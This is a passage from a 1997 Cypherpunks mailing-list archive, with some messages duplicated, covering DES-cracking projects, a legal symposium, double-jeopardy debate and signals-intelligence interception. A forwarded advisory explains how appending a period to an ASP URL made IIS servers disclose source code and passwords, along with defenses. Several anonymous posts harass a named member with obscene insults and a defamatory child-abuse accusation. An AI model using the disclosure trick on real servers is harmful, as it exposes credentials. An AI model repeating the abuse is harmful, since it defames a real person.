apparently has been some speculation among the U.S. PC community that Matsushita may be stonewalling on the software-licensing issue so that it can establish its hardware-based decryption solution in the marketplace. --- Nothing in the article suggests that "national interests" are involved. Martin Minow minow at apple.com From rah at shipwright.com Thu Feb 20 12:57:45 1997 From: rah at shipwright.com (Robert Hettinga) Date: Thu, 20 Feb 1997 12:57:45 -0800 (PST) Subject: FWD: (CHANGE: NUVUPSY - Against the therapeutic state) Message-ID: <199702202057.MAA22533@toad.com> Tell me what this has to do with cryptography, and I'll give you a nickle. Or, maybe not... ;-). Cheers, Bob Hettinga --- begin forwarded text Date: Thu, 20 Feb 1997 09:48:47 -0600 Reply-To: "Dr. Jeffrey A. Schaler" Sender: NEW-LIST - New List Announcements From: "Dr. Jeffrey A. Schaler" Organization: The American University Subject: CHANGE: NUVUPSY - Against the therapeutic state To: NEW-LIST at LISTSERV.NODAK.EDU NVVUPSY has moved to a new server and has a new E-mail address. NUVUPSY on LISTSERV at MAELSTROM.STJOHNS.EDU "Although we may not know it, we have, in our day, witnessed the birth of the Therapeutic State. This is perhaps the major implication of psychiatry as an institution of social control." (Thomas Szasz, 1963) NUVUPSY is a forum to share points of view critical of the "therapeutic state" and institutional psychiatry, and those supportive of contractual psychotherapy and psychiatry. We're interested in discussions concerning the relationship between liberty and responsibility and its implications for clinical, legal, and public policy. The list will serve to promote alternative views to explaining unwanted behaviors. Sociological perspectives on the medicalization of deviant behavior are welcome. Other topics for discussion include but are not limited to: The myth of addiction as a disease; the ideology of biological determinism; the obsolescence of the schizophrenia hypothesis; coerced treatment for addiction and First Amendment rights; criticism of psychiatric drug prescriptions; etc. NUVUPSY Board of Advisors include: Bruce K. Alexander, Phil Brown, Robert C. Carson, David J. Essex, Louis B. Fierman, Robert E. Haskell, Reid Klion, James C. Mancuso, Roberta Russell, Theodore R. Sarbin, Jeffrey A. Schaler, and Richard E. Vatz. Archives of NUVUPSY mail items are kept in monthly files. You may obtain a list of files in the archives by sending the command INDEX NUVUPSY in the BODY of e-mail to LISTSERV at MAELSTROM.STJOHNS.EDU (NUVU as in "new view", V=vee) To subscribe, send the following command in the BODY of mail to LISTSERV at MAELSTROM.STJOHNS.EDU SUBSCRIBE NUVUPSY yourfirstname yourlastname Owner: Jeffrey A. Schaler, Ph.D. jschale at american.edu Martin W. Smith mws at metis.no NUVUPSY List Coordinators ------- Use this information at your own risk. For more information and disclaimer send E-mail to LISTSERV at LISTSERV.NODAK.EDU with the command INFO NEW-LIST in the body. --- end forwarded text ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/ FC97: Anguilla, anyone? http://www.ai/fc97/ From shommel at zoo.uvm.edu Thu Feb 20 12:58:08 1997 From: shommel at zoo.uvm.edu (Scott A. Hommel) Date: Thu, 20 Feb 1997 12:58:08 -0800 (PST) Subject: No Subject Message-ID: <199702202058.MAA22548@toad.com> For those of you who haven't seen this... "fake-web" document. A way hackers may easily get around things like SSL. http://www.cs.princeton.edu/sip/pub/spoofingDocumentWithLongUntypeableName.html ********************************* Scott A. Hommel President, New Paradigm Design, Inc. PGP key available at: http://paradigm-2.com/scott.html ********************************* From EALLENSMITH at ocelot.Rutgers.EDU Thu Feb 20 13:03:56 1997 From: EALLENSMITH at ocelot.Rutgers.EDU (E. Allen Smith) Date: Thu, 20 Feb 1997 13:03:56 -0800 (PST) Subject: RRE: crime and technology Message-ID: <01IFN7Y21CC08Y51HA@mbcl.rutgers.edu> From: IN%"rre at weber.ucsd.edu" 20-FEB-1997 07:55:48.58 From: Phil Agre =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= This message was forwarded through the Red Rock Eater News Service (RRE). Send any replies to the original author, listed in the From: field below. You are welcome to send the message along to others but please do not use the "redirect" command. For information on RRE, including instructions for (un)subscribing, send an empty message to rre-help at weber.ucsd.edu =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Date: Wed, 19 Feb 1997 18:51:34 -0500 From: Belinda Juran [...] Harvard Journal of Law & Technology Symposium: Crime & Technology Law Enforcement Technology - Cybercrime - Electronic Commerce Saturday, March 15, 1997 Ames Courtroom, Austin Hall at Harvard Law School in Cambridge, MA. Registration: 9:30 A.M. Tentative Schedule, including Confirmed and Tentative Panelists: 9:30-9:45 Registration & coffee 9:45-10 Introduction 10-12 Panel: "Search, Seizure, and Surveillance Technology" (searching of technology & the technology of searching) Moderator: Stephen Heymann assistant United States attorney in Boston who teaches at HLS and was involved with the first wiretap laid on the Internet. Panelists: o Tony West AUSA in San Jose who helped investigate the creator of PGP and is now prosecuting the "Orchid Club" cases against an international child pornography ring that distributed through the Internet. o Chris Slobogin UFlorida professor who is the reporter for the ABA Task Force on Technology and Law Enforcement o Andy Good a Boston defense attorney who has defended computer searches including US v. Steve Jackson Games o Marc Goodman a Los Angeles Police Department sargeant who has investigated computer crimes and has pursued the impact of technology on police departments during his year at the Kennedy School of Government o Elizabeth Marsh a Quinnipiac Law School professor who has done work on encryption and the danger of the federal government's "key" proposal 12 Lunch: box lunch provided 12:45-1:15 Keynote: invited (tentative) keynote speaker: Bob Kahn Corporation for National Research Initiatives 1:15-3:15 Panel: "The Risks of Electronic Banking &Commerce" (content security & payment/banking security) Moderator: Charles Nesson professor at Harvard Law School specializing in legal implications of digital technologies o Marc Rotenberg EPIC (Electronic Privacy & Information Center) o Kelly Frey Copyright Clearance Center o David Byer partner, Testa Hurwitz & Thibeault, Boston, MA o Philip Bane counsel, First Virtual 3:15 end Admission to the Symposium is free to all Harvard affiliates (with valid Harvard ID), $15 for all other students, $30 for public sector professionals, and $100 for private sector professionals. ADVANCE REGISTRATION IS STRONGLY SUGGESTED. - ------------------------Registration Form------------------------------- Harvard Journal of Law & Technology Symposium on Crime & Technology; March 15, 1997; registration begins at 9:30 a.m.; program begins at 10:00 a.m. Ames Courtroom, Austin Hall, Harvard Law School, Cambridge MA Name:____________________________________________________ Affiliation _________________________________________________ Address __________________________________________________ __________________________________________________ Telephone:________________________________________________ Email:____________________________________________________ Check One: _____ Private Sector Professional: $100 _____ Public Sector Professional: $ 30 _____ Student: $ 15 _____ Harvard student (valid ID must be presented at the door): free Make checks payable to: Harvard Journal of Law & Technology Mail the completed registration form with check to: Symposium Registration Harvard Journal of Law & Technology Publications Center Harvard Law School Cambridge, MA 02138 - ------------------------------Cut Here-------------------------------------- The Symposium is sponsored by Hale and Dorr L.L.P., Boston, MA. The Spring Issue of the Journal will include articles covering the broad topic of "Crime and Technology." For additional information about the Symposium, contact Symposium Editor Belinda Juran, by e-mail at juran at law.harvard.edu, or by phone at the Harvard Journal of Law & Technology offices at 617-495-3606 or 617-493-7949. ABOUT THE JOURNAL: The Harvard Journal of Law & Technology is a leading scholarly publication for articles addressing the many diverse interstices of science and technology with law and society. We have published articles by law professors, practitioners, business leaders, and politicians on varied topics including biotechnology, computers, international trade, technology transfer, intellectual property, medical technologies, and telecommunications. These and other subjects are some of the most exciting and rapidly developing areas of the law, and we believe that the dialogue provided by the Harvard Journal of Law & Technology will help to shape the future of this important field. We welcome submissions of articles, case comments, or book reviews addressing the relationship of law and technology. SUBSCRIPTION INFORMATION: For additional information, please contact the Journal at the address below. The Journal publishes three issues each year. To subscribe to the Journal's upcoming issues in Volume 10, please send the Journal a check for U.S. $45.00 (foreign orders $50.00) to the address below. To obtain the issue discussed above or back issues, please send the Journal a check for $35.00 with a note indicating the desired issue (i.e., "Vol. 9 No. 2"). ************************************************************************* Harvard Journal of Law & Technology Publications Center Harvard Law School Cambridge, MA 02138 Telephone: (617) 495-3606 Fax: (617) 495-8828 E-Mail: jolt at law.harvard.edu WWW: http://www.law.harvard.edu/home/jolt/ ************************************************************************* From sunder at brainlink.com Thu Feb 20 13:10:43 1997 From: sunder at brainlink.com (Ray Arachelian) Date: Thu, 20 Feb 1997 13:10:43 -0800 (PST) Subject: [NTSEC] ! [ADVISORY] Major Security Hole in MS ASP (fwd) Message-ID: <199702202110.NAA22766@toad.com> =====================================Kaos=Keraunos=Kybernetos============== .+.^.+.| Ray Arachelian | "If you're gonna die, die with your|./|\. ..\|/..|sunder at sundernet.com|boots on; If you're gonna try, just |/\|/\ <--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/ ../|\..| "A toast to Odin, |you're gonna die, you're gonna die!" |.\|/. .+.v.+.|God of screwdrivers"| --Iron Maiden "Die With Your Boots on"|..... ======================== http://www.sundernet.com ========================= ---------- Forwarded message ---------- Date: Thu, 20 Feb 1997 11:39:01 -0600 From: Mark Joseph Edwards To: "'bugtraq at netspace.org'" Cc: "'ntbugtraq at rc.on.ca'" , "'ntsecurity at iss.net'" Subject: [NTSEC] ! [ADVISORY] Major Security Hole in MS ASP MICROSOFT IIS AND ACTIVE SERVER ADVISORY Security Hole in ASP Discovered in Microsoft ASP February 20, 1997 DESCRIPTION A serious security hole was found in Microsoft's Active Server Pages (ASP) by Juan T. Llibre . This hole allows Web clients to download unprocessed ASP files potentially exposing user ids and passwords. ASP files are the common file type used by Microsoft's IIS and Active Server to perform server-side processing. HOW IT WORKS To download an unprocessed ASP file, simply append a period to the asp URL. For example: http://www.domain1.com/default.asp becomes http://www.domain1.com/default.asp. With the period appendage, Internet Information Server (IIS) will send the unprocessed ASP file to the Web client, wherein the source to the file can be examined at will. If the source includes any security parameter designed to allow access to other system processes, such as an SQL database, they will be revealed. DEFENSE There are two known ways to stop this behavior: 1.Turn read permissions off of the ASP directory in the Internet Service Manager. This may not be a practical solution since many sites mix ASP and HTML files. If your site mixes these files together in the same directories, you may want to segregate them immediately. Now and in the future, treat your ASP files like any other Web based executable, and keep them in separate directories wherein permissions can be adjusted accordingly. 2.Download this filter written by Christoph Wille Christoph.Wille at unileoben.ac.at which can be located at http://www.ntshop.net/security/tools/sechole.zip or from http://www.genusa.com/asp/patch/sechole.zip END OF ADVISORY From EALLENSMITH at ocelot.Rutgers.EDU Thu Feb 20 13:28:04 1997 From: EALLENSMITH at ocelot.Rutgers.EDU (E. Allen Smith) Date: Thu, 20 Feb 1997 13:28:04 -0800 (PST) Subject: Constitution and a Right to Privacy Message-ID: <01IFN8OP62KK8Y51HA@mbcl.rutgers.edu> From: Dale Thorn >Greg Broiles wrote: >> At 11:56 PM 2/19/97 -0800, Dale Thorn wrote: >> >It's good if you don't read the L.A. Times. One of their lead editor- >> >ializers (whores), a professor at USC law school named Erwin Chemerinsky, >> >writes in relation to this subject "The federal government is an inde- >> >pendent sovereign that cannot have its powers diminished by a state >> >government's actions." (exact quote, 2/7/97). Either that's a load of >> >BS doubletalk, or it's one of the more fascistic commentaries from the >> >Times, which is usually bad enough. >> Hey, don't forget to shoot the messenger. Chemerinsky's statement is a >> concise summary of at least the last 70 years of double jeopardy >> jurisprudence. The only thing that's unusual about the use of the "dual >> sovereign" doctrine against the cops who beat King was that it's usually >> used against ordinary citizens, not cops. Do you suppose it's possible >I understood clearly the (supposed) intent of the feds in retrying >the Whites in the South who were beating up on Blacks and getting >off with White juries - I just believe they would have served the >people better by declaring mistrials or something instead of using >the "dual sovereignty" BS, since a study of the Constitution and >its preparatory papers shows the fathers clearly would have balked >at this. I had understood the basic reasons for the double jeopardy limit to be two: A. to prevent government from tormenting innocent individuals with repeated trials; and B. to prevent convictions of innocents by simple repeated trials until a jury made a mistake. The latter can be analogized in statistics to the consideration that a test with a p value of .05 will turn out false positive results 1 time in 20 by the nature of it; thus, if you look at two different studies/trials with an independent (an oversimplifying assumption for trials, admittedly) 5% chance of an incorrect conviction, the chance is 1-((19/20)(19/20)) or 9.75% for _either_ of them turning out a false positive instead of a 5% chance. In a system partially based on the principle that it's better to let the guilty go free than to punish the innocent, this result is not acceptable. While the founding fathers probably didn't realize the mathematics behind the second, I suspect that they had some intuition of its nature. I can see an argument, however, for using it in the case of state employees, particularly police - the state judicial/prosecutorial system can hardly be said not to be biased in favor of them. A better solution, however, would be to simply do the trial in a federal court to begin with. (Having trials of federal employees in the courts of the state of their alleged victims would be a correspondingly good idea, although multiple possible states for this could be a problem.) I'd appreciate comments from persons with more legal knowledge than I have; I am simply going by logic here. -Allen From aba at dcs.ex.ac.uk Thu Feb 20 14:26:41 1997 From: aba at dcs.ex.ac.uk (Adam Back) Date: Thu, 20 Feb 1997 14:26:41 -0800 (PST) Subject: DES search publicity (was Re: Cryptanalysis) Message-ID: <199702202226.OAA23750@toad.com> Peter Trei writes: > Bill Stewart writes: > > There may be a distributed Internet crack using that approach, > > though DES is still very inefficient on general-purpose computers and > > works better on bit-twiddliing chips. > > There's one slowly shaping up, organized by the same people who did > the RC5-48 crack. I'm still rooting for an uncoordinated search, > which is already underway. The people who did the RC5-48 crack over on , and , or at least one of them in particular, seems dead set on giving the prize fund 50:50 to the EFF/GNU. I'm having a heck of a time talking him out of it. What does your software do with the key if it finds it? Attempt to email it RSA DS/email it to you/report it to user/other? Do you know how many people are running your uncoordinated breaking project? Are you keeping track of how many people have copies. (I suppose that not knowing how many people are running the client is a disadvantage with the uncoordinated approach.) I'm trying to get UK Computer shopper to include an uncoordinated DES searcher in their cover CD, along with a feature article on the challenge (I thought the possibility of winning $10,000 might be a large part of the interest factor for a reader). Don't know if they'll be interested yet. (What I'm keen on is the sheer size of the readership -- if 10% of that lot runs the software, something might happen fast!) Has anyone tried doing something similar in the US? Anyone with contacts with other PC magazine with CD/disk on front format, preferably with large readership, in UK, US, or other countries? For this kind of project, you'd need something with a simple windows interface and install script. I'd have thought a DES breaker which is installed in win3.1/win95 to always start at boot up, and consume free cycles (ie set to back off when the machine is doing other things). A screen saver with nice presentation would be one way to do this. Do any of the breakers do this? Are there clients from other breaks which could be adapted which do? I think someone wrote a screen saver based breaker after the SSL break? Adam ps Have there been any sightings of your code outside the US? Rumor has it that ftp://ftp.replay.com/pub/incoming is a place where things often turn up, but I haven't seen it yet. -- print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 From: Dale Thorn >Greg Broiles wrote: >> At 11:56 PM 2/19/97 -0800, Dale Thorn wrote: >> >It's good if you don't read the L.A. Times. One of their lead editor- >> >ializers (whores), a professor at USC law school named Erwin Chemerinsky, >> >writes in relation to this subject "The federal government is an inde- >> >pendent sovereign that cannot have its powers diminished by a state >> >government's actions." (exact quote, 2/7/97). Either that's a load of >> >BS doubletalk, or it's one of the more fascistic commentaries from the >> >Times, which is usually bad enough. >> Hey, don't forget to shoot the messenger. Chemerinsky's statement is a >> concise summary of at least the last 70 years of double jeopardy >> jurisprudence. The only thing that's unusual about the use of the "dual >> sovereign" doctrine against the cops who beat King was that it's usually >> used against ordinary citizens, not cops. Do you suppose it's possible >I understood clearly the (supposed) intent of the feds in retrying >the Whites in the South who were beating up on Blacks and getting >off with White juries - I just believe they would have served the >people better by declaring mistrials or something instead of using >the "dual sovereignty" BS, since a study of the Constitution and >its preparatory papers shows the fathers clearly would have balked >at this. I had understood the basic reasons for the double jeopardy limit to be two: A. to prevent government from tormenting innocent individuals with repeated trials; and B. to prevent convictions of innocents by simple repeated trials until a jury made a mistake. The latter can be analogized in statistics to the consideration that a test with a p value of .05 will turn out false positive results 1 time in 20 by the nature of it; thus, if you look at two different studies/trials with an independent (an oversimplifying assumption for trials, admittedly) 5% chance of an incorrect conviction, the chance is 1-((19/20)(19/20)) or 9.75% for _either_ of them turning out a false positive instead of a 5% chance. In a system partially based on the principle that it's better to let the guilty go free than to punish the innocent, this result is not acceptable. While the founding fathers probably didn't realize the mathematics behind the second, I suspect that they had some intuition of its nature. I can see an argument, however, for using it in the case of state employees, particularly police - the state judicial/prosecutorial system can hardly be said not to be biased in favor of them. A better solution, however, would be to simply do the trial in a federal court to begin with. (Having trials of federal employees in the courts of the state of their alleged victims would be a correspondingly good idea, although multiple possible states for this could be a problem.) I'd appreciate comments from persons with more legal knowledge than I have; I am simply going by logic here. -Allen From EALLENSMITH at ocelot.Rutgers.EDU Thu Feb 20 14:27:31 1997 From: EALLENSMITH at ocelot.Rutgers.EDU (E. Allen Smith) Date: Thu, 20 Feb 1997 14:27:31 -0800 (PST) Subject: RRE: crime and technology Message-ID: <199702202227.OAA23770@toad.com> From: IN%"rre at weber.ucsd.edu" 20-FEB-1997 07:55:48.58 From: Phil Agre =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= This message was forwarded through the Red Rock Eater News Service (RRE). Send any replies to the original author, listed in the From: field below. You are welcome to send the message along to others but please do not use the "redirect" command. For information on RRE, including instructions for (un)subscribing, send an empty message to rre-help at weber.ucsd.edu =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Date: Wed, 19 Feb 1997 18:51:34 -0500 From: Belinda Juran [...] Harvard Journal of Law & Technology Symposium: Crime & Technology Law Enforcement Technology - Cybercrime - Electronic Commerce Saturday, March 15, 1997 Ames Courtroom, Austin Hall at Harvard Law School in Cambridge, MA. Registration: 9:30 A.M. Tentative Schedule, including Confirmed and Tentative Panelists: 9:30-9:45 Registration & coffee 9:45-10 Introduction 10-12 Panel: "Search, Seizure, and Surveillance Technology" (searching of technology & the technology of searching) Moderator: Stephen Heymann assistant United States attorney in Boston who teaches at HLS and was involved with the first wiretap laid on the Internet. Panelists: o Tony West AUSA in San Jose who helped investigate the creator of PGP and is now prosecuting the "Orchid Club" cases against an international child pornography ring that distributed through the Internet. o Chris Slobogin UFlorida professor who is the reporter for the ABA Task Force on Technology and Law Enforcement o Andy Good a Boston defense attorney who has defended computer searches including US v. Steve Jackson Games o Marc Goodman a Los Angeles Police Department sargeant who has investigated computer crimes and has pursued the impact of technology on police departments during his year at the Kennedy School of Government o Elizabeth Marsh a Quinnipiac Law School professor who has done work on encryption and the danger of the federal government's "key" proposal 12 Lunch: box lunch provided 12:45-1:15 Keynote: invited (tentative) keynote speaker: Bob Kahn Corporation for National Research Initiatives 1:15-3:15 Panel: "The Risks of Electronic Banking &Commerce" (content security & payment/banking security) Moderator: Charles Nesson professor at Harvard Law School specializing in legal implications of digital technologies o Marc Rotenberg EPIC (Electronic Privacy & Information Center) o Kelly Frey Copyright Clearance Center o David Byer partner, Testa Hurwitz & Thibeault, Boston, MA o Philip Bane counsel, First Virtual 3:15 end Admission to the Symposium is free to all Harvard affiliates (with valid Harvard ID), $15 for all other students, $30 for public sector professionals, and $100 for private sector professionals. ADVANCE REGISTRATION IS STRONGLY SUGGESTED. - ------------------------Registration Form------------------------------- Harvard Journal of Law & Technology Symposium on Crime & Technology; March 15, 1997; registration begins at 9:30 a.m.; program begins at 10:00 a.m. Ames Courtroom, Austin Hall, Harvard Law School, Cambridge MA Name:____________________________________________________ Affiliation _________________________________________________ Address __________________________________________________ __________________________________________________ Telephone:________________________________________________ Email:____________________________________________________ Check One: _____ Private Sector Professional: $100 _____ Public Sector Professional: $ 30 _____ Student: $ 15 _____ Harvard student (valid ID must be presented at the door): free Make checks payable to: Harvard Journal of Law & Technology Mail the completed registration form with check to: Symposium Registration Harvard Journal of Law & Technology Publications Center Harvard Law School Cambridge, MA 02138 - ------------------------------Cut Here-------------------------------------- The Symposium is sponsored by Hale and Dorr L.L.P., Boston, MA. The Spring Issue of the Journal will include articles covering the broad topic of "Crime and Technology." For additional information about the Symposium, contact Symposium Editor Belinda Juran, by e-mail at juran at law.harvard.edu, or by phone at the Harvard Journal of Law & Technology offices at 617-495-3606 or 617-493-7949. ABOUT THE JOURNAL: The Harvard Journal of Law & Technology is a leading scholarly publication for articles addressing the many diverse interstices of science and technology with law and society. We have published articles by law professors, practitioners, business leaders, and politicians on varied topics including biotechnology, computers, international trade, technology transfer, intellectual property, medical technologies, and telecommunications. These and other subjects are some of the most exciting and rapidly developing areas of the law, and we believe that the dialogue provided by the Harvard Journal of Law & Technology will help to shape the future of this important field. We welcome submissions of articles, case comments, or book reviews addressing the relationship of law and technology. SUBSCRIPTION INFORMATION: For additional information, please contact the Journal at the address below. The Journal publishes three issues each year. To subscribe to the Journal's upcoming issues in Volume 10, please send the Journal a check for U.S. $45.00 (foreign orders $50.00) to the address below. To obtain the issue discussed above or back issues, please send the Journal a check for $35.00 with a note indicating the desired issue (i.e., "Vol. 9 No. 2"). ************************************************************************* Harvard Journal of Law & Technology Publications Center Harvard Law School Cambridge, MA 02138 Telephone: (617) 495-3606 Fax: (617) 495-8828 E-Mail: jolt at law.harvard.edu WWW: http://www.law.harvard.edu/home/jolt/ ************************************************************************* From privsoft at ix.netcom.com Thu Feb 20 15:49:51 1997 From: privsoft at ix.netcom.com (Steve) Date: Thu, 20 Feb 1997 15:49:51 -0800 (PST) Subject: The List Message-ID: <330CE329.37E8@ix.netcom.com> Hey all, As a somewhat quiet observer and student of the Cypherpunk list over the last two years, I have been able to keep in touch with an unimaginable amount of issues, info, concerns, and news; and the knowledge I have gained from this list is more than I can say in words. I have sifted through the noise and can say the info gleaned was indeed worth the effort. I am sorry to see the list in its present state, ready to move on to better? things. I hope I speak for many of you, like me who listened learned asked and was answered, that the Cypherpunk list must continue and that each of us, active and passive member has a responsibility to ourselves and each other to continue bring the issues to light , fighting the good fight against the gov't's lousy regulations, and bringing encryption to the masses. I have been working with a security software development company for 2 and half years and have been working on this goal: bringing encryption to the masses. The information both directly (actual posts relating to Crypto) and indirectly (Rants and flames on Snakeoil products) gained has helped guide me and my colleagues closer and closer to our goal. For that and more I thank all of you. We are very close to releasing a beta version of our product to the Internet community to use and abuse. We have worked closely with Bruce Schnieir and Counterpane to insure good implementation of our security measures. I hope our product meets with your standards and approval but more importantly I hope that you (the collective you) can be instrumental in helping us to accomplish our goal. I will post to this list (assuming it is still amongst the living) very shortly a more detailed description of the product and where a beta can be gotten. I am sorry for "whetting the appetites" but I figured since I was E-mailing a post relating to the state of list, I include a bit about how the list has positively effected me and has contributed to society. Steveo (privsoft at ix.netcom.com) --Privacy Software Division-- Syntel Technologies, Inc. From markm at voicenet.com Thu Feb 20 16:02:03 1997 From: markm at voicenet.com (Mark M.) Date: Thu, 20 Feb 1997 16:02:03 -0800 (PST) Subject: DES search publicity (was Re: Cryptanalysis) In-Reply-To: <199702192005.UAA01691@server.test.net> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- On Wed, 19 Feb 1997, Adam Back wrote: > Have there been any sightings of your code outside the US? > > Rumor has it that ftp://ftp.replay.com/pub/incoming is a place where > things often turn up, but I haven't seen it yet. Last time I checked, deskr06i.zip, which I believe is the correct filename, was in /pub/incoming. Mark -----BEGIN PGP SIGNATURE----- Version: 2.6.3 Charset: noconv iQEVAwUBMwzm9yzIPc7jvyFpAQHeggf9HN1XnB1pWdwfsDPptMCCJdq6whdDlac/ W2In+Yzxro7n+RyCYdPFHXldlCFDh/st6SbL90XFQp2kS7Mg7Zu7BtgMRuUOugqk LGW4cDkpjg/gq5/AL4h49puuch4gVV7//pnfGke6fEvaBF/1wvpxNEh1Ades291t guC1hllIoyQkrZIanwuiMl3ubq5Ep3yuorVoYkqspYYmtfzwkhduDmEbqfMp13mN BCJG2QIUtm2GctkWn7rQDaLwFBBn+VIhOn1zF9EPfgr1PXt8HIhzWfQ3JkmtF9Ql wkxz7ebTyhxIMt6culECrcSNBhSGLgxMCLYsnm8NlkGqESbmMVSHjg== =LePS -----END PGP SIGNATURE----- From mixmaster at remail.obscura.com Thu Feb 20 16:48:34 1997 From: mixmaster at remail.obscura.com (Mixmaster) Date: Thu, 20 Feb 1997 16:48:34 -0800 (PST) Subject: [ADMINISTRATIVIUM] RSA Message-ID: <199702202230.OAA26215@sirius.infonex.com> Timothy `C' May was born when his mother was on the toilet. /\ o-/\ Timothy `C' May ///\|/\\\ / /|\ \ From mixmaster at remail.obscura.com Thu Feb 20 16:58:13 1997 From: mixmaster at remail.obscura.com (Mixmaster) Date: Thu, 20 Feb 1997 16:58:13 -0800 (PST) Subject: RSA Message-ID: <199702202219.OAA24762@sirius.infonex.com> A warning label ought to be tattooed on Tim C[retin] May's head, saying `Warning: shit content under pressure'. /\_/\ ( x x ) -oo0-(o o)-0oo- Tim C[retin] May From jya at pipeline.com Thu Feb 20 17:11:59 1997 From: jya at pipeline.com (John Young) Date: Thu, 20 Feb 1997 17:11:59 -0800 (PST) Subject: Kiss the Toad Message-ID: <1.5.4.32.19970221010531.0072a384@pop.pipeline.com> The news wads we've been posting will appear in the cpunk mail dumpster. Or, we'll e-mail them to anyone who unsubs but wants the stuff. Send us a blank message with subject: DUM_pit ----- Thanks to JG for princely service, a kiss to the toad. From mixmaster at remail.obscura.com Thu Feb 20 17:18:07 1997 From: mixmaster at remail.obscura.com (Mixmaster) Date: Thu, 20 Feb 1997 17:18:07 -0800 (PST) Subject: [IMPORTANT] Elliptic curves Message-ID: <199702202312.PAA01838@sirius.infonex.com> May Tim Mayhem's forgeries get stuck up his ass so he'll have to shit through his filthy mouth for the rest of its miserable life. o \ o / _ o __| \ / |__ o _ \ o / o /|\ | /\ ___\o \o | o/ o/__ /\ | /|\ Tim Mayhem / \ / \ | \ /) | ( \ /o\ / ) | (\ / | / \ / \ From jya at pipeline.com Thu Feb 20 17:26:40 1997 From: jya at pipeline.com (John Young) Date: Thu, 20 Feb 1997 17:26:40 -0800 (PST) Subject: Kiss the Toad Message-ID: <199702210126.RAA26454@toad.com> The news wads we've been posting will appear in the cpunk mail dumpster. Or, we'll e-mail them to anyone who unsubs but wants the stuff. Send us a blank message with subject: DUM_pit ----- Thanks to JG for princely service, a kiss to the toad. From markm at voicenet.com Thu Feb 20 17:26:53 1997 From: markm at voicenet.com (Mark M.) Date: Thu, 20 Feb 1997 17:26:53 -0800 (PST) Subject: DES search publicity (was Re: Cryptanalysis) Message-ID: <199702210126.RAA26465@toad.com> -----BEGIN PGP SIGNED MESSAGE----- On Wed, 19 Feb 1997, Adam Back wrote: > Have there been any sightings of your code outside the US? > > Rumor has it that ftp://ftp.replay.com/pub/incoming is a place where > things often turn up, but I haven't seen it yet. Last time I checked, deskr06i.zip, which I believe is the correct filename, was in /pub/incoming. Mark -----BEGIN PGP SIGNATURE----- Version: 2.6.3 Charset: noconv iQEVAwUBMwzm9yzIPc7jvyFpAQHeggf9HN1XnB1pWdwfsDPptMCCJdq6whdDlac/ W2In+Yzxro7n+RyCYdPFHXldlCFDh/st6SbL90XFQp2kS7Mg7Zu7BtgMRuUOugqk LGW4cDkpjg/gq5/AL4h49puuch4gVV7//pnfGke6fEvaBF/1wvpxNEh1Ades291t guC1hllIoyQkrZIanwuiMl3ubq5Ep3yuorVoYkqspYYmtfzwkhduDmEbqfMp13mN BCJG2QIUtm2GctkWn7rQDaLwFBBn+VIhOn1zF9EPfgr1PXt8HIhzWfQ3JkmtF9Ql wkxz7ebTyhxIMt6culECrcSNBhSGLgxMCLYsnm8NlkGqESbmMVSHjg== =LePS -----END PGP SIGNATURE----- From privsoft at ix.netcom.com Thu Feb 20 17:27:11 1997 From: privsoft at ix.netcom.com (Steve) Date: Thu, 20 Feb 1997 17:27:11 -0800 (PST) Subject: The List Message-ID: <199702210127.RAA26489@toad.com> Hey all, As a somewhat quiet observer and student of the Cypherpunk list over the last two years, I have been able to keep in touch with an unimaginable amount of issues, info, concerns, and news; and the knowledge I have gained from this list is more than I can say in words. I have sifted through the noise and can say the info gleaned was indeed worth the effort. I am sorry to see the list in its present state, ready to move on to better? things. I hope I speak for many of you, like me who listened learned asked and was answered, that the Cypherpunk list must continue and that each of us, active and passive member has a responsibility to ourselves and each other to continue bring the issues to light , fighting the good fight against the gov't's lousy regulations, and bringing encryption to the masses. I have been working with a security software development company for 2 and half years and have been working on this goal: bringing encryption to the masses. The information both directly (actual posts relating to Crypto) and indirectly (Rants and flames on Snakeoil products) gained has helped guide me and my colleagues closer and closer to our goal. For that and more I thank all of you. We are very close to releasing a beta version of our product to the Internet community to use and abuse. We have worked closely with Bruce Schnieir and Counterpane to insure good implementation of our security measures. I hope our product meets with your standards and approval but more importantly I hope that you (the collective you) can be instrumental in helping us to accomplish our goal. I will post to this list (assuming it is still amongst the living) very shortly a more detailed description of the product and where a beta can be gotten. I am sorry for "whetting the appetites" but I figured since I was E-mailing a post relating to the state of list, I include a bit about how the list has positively effected me and has contributed to society. Steveo (privsoft at ix.netcom.com) --Privacy Software Division-- Syntel Technologies, Inc. From mixmaster at remail.obscura.com Thu Feb 20 17:33:40 1997 From: mixmaster at remail.obscura.com (Mixmaster) Date: Thu, 20 Feb 1997 17:33:40 -0800 (PST) Subject: Accounts payable Message-ID: <199702210000.QAA07898@sirius.infonex.com> Timmy C[ocksucker] Mayo is not only as queer as a three dollar bill, but he is also into having sex with children. /''' c-OO Timmy C[ocksucker] Mayo \ - From darrenr at cyber.com.au Thu Feb 20 17:58:02 1997 From: darrenr at cyber.com.au (Darren Reed) Date: Thu, 20 Feb 1997 17:58:02 -0800 (PST) Subject: Correct paranoia about evesdropping. Message-ID: <199702210157.MAA05117@plum.cyber.com.au> I don't read cypherpunks any more, and this may have already been mentioned but it can't hurt to be pushed again. Whilst not directly related to cryptography, if any of you saw the chapters from "Secret Power" posted to best-of-security, know that that particular book is well worth reading. Of interest to those who are concerned for privacy from snooping: * NSA/DSD/CSE/etc (same type of organisation in different countries) use ground stations around the globe to intercept satellite to ground transmissions, have a network of computers built up to scan all telexes, faxes and even some internet traffic for known keywords in real time; * there exist computers which can process speech in real time and scan for known text/words; * embassies are popular "listening posts", as are buildings "along route" of microwave 